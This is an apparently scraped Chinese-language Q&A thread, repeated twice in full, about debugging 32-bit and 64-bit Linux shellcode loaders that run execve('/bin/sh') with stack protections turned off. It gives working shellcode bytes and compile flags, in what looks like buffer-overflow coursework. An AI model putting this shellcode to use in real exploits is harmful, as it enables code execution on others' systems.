shellcode缓冲区溢出-SegFault
shellcode buffer overflow -SegFault
我正在尝试 运行 这个 shellcode,但我一直收到分段错误
/* call_shellcode.c */
/*A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
const char code[] =
"\x31\xc0" /* Line 1: xorl %eax,%eax */
"\x50" /* Line 2: pushl %eax */
"\x68""//sh" /* Line 3: pushl [=10=]x68732f2f */
"\x68""/bin" /* Line 4: pushl [=10=]x6e69622f */
"\x89\xe3" /* Line 5: movl %esp,%ebx */
"\x50" /* Line 6: pushl %eax */
"\x53" /* Line 7: pushl %ebx */
"\x89\xe1" /* Line 8: movl %esp,%ecx */
"\x99" /* Line 9: cdq */
"\xb0\x0b" /* Line 10: movb [=10=]x0b,%al */
"\xcd\x80" /* Line 11: int [=10=]x80 */
;
int main(int argc, char **argv)
{
char buf[sizeof(code)];
strcpy(buf, code);
((void(*)( ))buf)( );
}
我编译它使用:
gcc -z execstack -o call_shellcode call_shellcode.c
和
gcc -fno-stack-protector -z execstack -o call_shellcode call_shellcode.c
但我一直遇到分段错误
此外,我运行正在使用 64 位 Linux 系统 (ubuntu)
code
没有尾随的空字节,所以你不能使用 strcpy()
来复制它。使用 memcpy()
.
memcpy(buf, code, sizeof(code));
如评论中所述,您拥有的 shellcode 适用于 32 位 Linux,但您正试图 运行 在 64 位系统上使用它。这可能解释了修复此错误后的错误。
您正在 x86-64 系统上使用 32 位汇编代码。所以,这是你的问题,你必须为 x86-64 系统创建你的 shellcode。
例如
400078: 48 31 c0 xor rax,rax
40007b: 48 bf 2f 2f 62 69 6e movabs rdi,0x68732f6e69622f2f
400082: 2f 73 68
400085: 48 31 f6 xor rsi,rsi
400088: 56 push rsi
400089: 57 push rdi
40008a: 48 89 e7 mov rdi,rsp
40008d: 48 31 d2 xor rdx,rdx
400090: b0 3b mov al,0x3b
400092: 0f 05 syscall
与 32 位汇编的主要区别之一是如何使用 系统调用。在这个linkLinux Syscalls x86-64你可以看到调用sys_execve
需要哪些寄存器
int execve(const char *filename, char *const argv[],
char *const envp[]);
- const char *文件名 -> rdi
- char *const argv[] -> rsi
- char *const envp[] -> rdx
例如
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
const char code[] = "\x48\x31\xc0\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\x31\xf6\x56\x57\x48\x89\xe7\x48\x31\xd2\xb0\x3b\x0f\x05";
int main(int argc, char **argv)
{
char buf[sizeof(code)];
strcpy(buf, code);
((void(*)( ))buf)( );
}
编译测试
$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
$ ./shellcode
$ uname -a
Linux foobar 4.4.0-97-generic #120-Ubuntu SMP Tue Sep 19 17:28:18 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
您忘记了在 64 位系统上编译 32 位二进制文件的 -m32
标志。看起来这就是您需要的:
gcc -m32 -z execstack -o call_shellcode call_shellcode.c
为了能够在 64 位系统上编译 32 位二进制文件,您需要可用的 32 位库。在基于 Ubuntu 的系统上,您可以通过以下方式安装它们:
sudo apt-get install gcc-multilib
参见:https://www.homeworkforyou.com/static_media/uploadedfiles/bufoverflow.pdf
我正在尝试 运行 这个 shellcode,但我一直收到分段错误
/* call_shellcode.c */
/*A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
const char code[] =
"\x31\xc0" /* Line 1: xorl %eax,%eax */
"\x50" /* Line 2: pushl %eax */
"\x68""//sh" /* Line 3: pushl [=10=]x68732f2f */
"\x68""/bin" /* Line 4: pushl [=10=]x6e69622f */
"\x89\xe3" /* Line 5: movl %esp,%ebx */
"\x50" /* Line 6: pushl %eax */
"\x53" /* Line 7: pushl %ebx */
"\x89\xe1" /* Line 8: movl %esp,%ecx */
"\x99" /* Line 9: cdq */
"\xb0\x0b" /* Line 10: movb [=10=]x0b,%al */
"\xcd\x80" /* Line 11: int [=10=]x80 */
;
int main(int argc, char **argv)
{
char buf[sizeof(code)];
strcpy(buf, code);
((void(*)( ))buf)( );
}
我编译它使用:
gcc -z execstack -o call_shellcode call_shellcode.c
和
gcc -fno-stack-protector -z execstack -o call_shellcode call_shellcode.c
但我一直遇到分段错误
此外,我运行正在使用 64 位 Linux 系统 (ubuntu)
code
没有尾随的空字节,所以你不能使用 strcpy()
来复制它。使用 memcpy()
.
memcpy(buf, code, sizeof(code));
如评论中所述,您拥有的 shellcode 适用于 32 位 Linux,但您正试图 运行 在 64 位系统上使用它。这可能解释了修复此错误后的错误。
您正在 x86-64 系统上使用 32 位汇编代码。所以,这是你的问题,你必须为 x86-64 系统创建你的 shellcode。
例如
400078: 48 31 c0 xor rax,rax
40007b: 48 bf 2f 2f 62 69 6e movabs rdi,0x68732f6e69622f2f
400082: 2f 73 68
400085: 48 31 f6 xor rsi,rsi
400088: 56 push rsi
400089: 57 push rdi
40008a: 48 89 e7 mov rdi,rsp
40008d: 48 31 d2 xor rdx,rdx
400090: b0 3b mov al,0x3b
400092: 0f 05 syscall
与 32 位汇编的主要区别之一是如何使用 系统调用。在这个linkLinux Syscalls x86-64你可以看到调用sys_execve
需要哪些寄存器int execve(const char *filename, char *const argv[], char *const envp[]);
- const char *文件名 -> rdi
- char *const argv[] -> rsi
- char *const envp[] -> rdx
例如
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
const char code[] = "\x48\x31\xc0\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\x31\xf6\x56\x57\x48\x89\xe7\x48\x31\xd2\xb0\x3b\x0f\x05";
int main(int argc, char **argv)
{
char buf[sizeof(code)];
strcpy(buf, code);
((void(*)( ))buf)( );
}
编译测试
$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
$ ./shellcode
$ uname -a
Linux foobar 4.4.0-97-generic #120-Ubuntu SMP Tue Sep 19 17:28:18 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
您忘记了在 64 位系统上编译 32 位二进制文件的 -m32
标志。看起来这就是您需要的:
gcc -m32 -z execstack -o call_shellcode call_shellcode.c
为了能够在 64 位系统上编译 32 位二进制文件,您需要可用的 32 位库。在基于 Ubuntu 的系统上,您可以通过以下方式安装它们:
sudo apt-get install gcc-multilib
参见:https://www.homeworkforyou.com/static_media/uploadedfiles/bufoverflow.pdf